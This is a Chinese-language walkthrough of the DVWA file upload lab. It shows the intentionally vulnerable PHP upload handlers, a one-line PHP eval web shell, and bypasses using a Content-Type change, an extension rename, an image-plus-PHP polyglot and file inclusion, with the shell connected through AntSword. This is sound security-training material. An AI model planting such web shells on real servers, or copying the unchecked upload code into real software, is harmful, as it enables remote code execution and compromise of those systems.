DVWA 文件上传

Low

File Upload Source
vulnerabilities/upload/source/low.php
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

可以看到 服务端和客户端都没有做任何的检查，我们可以直接上传任何文件

这里我们上传一个一句话木马 shell.php

<?php
@eval($_POST['shell']); 
?>

通过蚁剑连接成功 

Medium

 客户端对上传的文件类型进行了检查，必须为图像格式

方法一：

我们可以使用brupsuite进行抓捕来修改上传文件的content-type来绕过检查

 上传成功，我们用蚂剑进行连接

 

方法二：

我们可以先上传一个写了一句话木马的图片，通过brupsuite抓包来修改上传文件的后缀名，这样也能绕过检查并且可以连接上蚁剑。

 

 High

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

上传文件后缀名必须为图像格式并且使用了getimagesize()检查是否上传的为图片

使用 copy  xxx.php/a + xxx.jpg/b  xxx.jpg  将图片和上传木马结合起来

 但这样我们不能连接到蚁剑上，因为上传文件识别出来为图片格式

我们可是使用文件包含漏洞，让服务端认为是php文件

蚁剑连接成功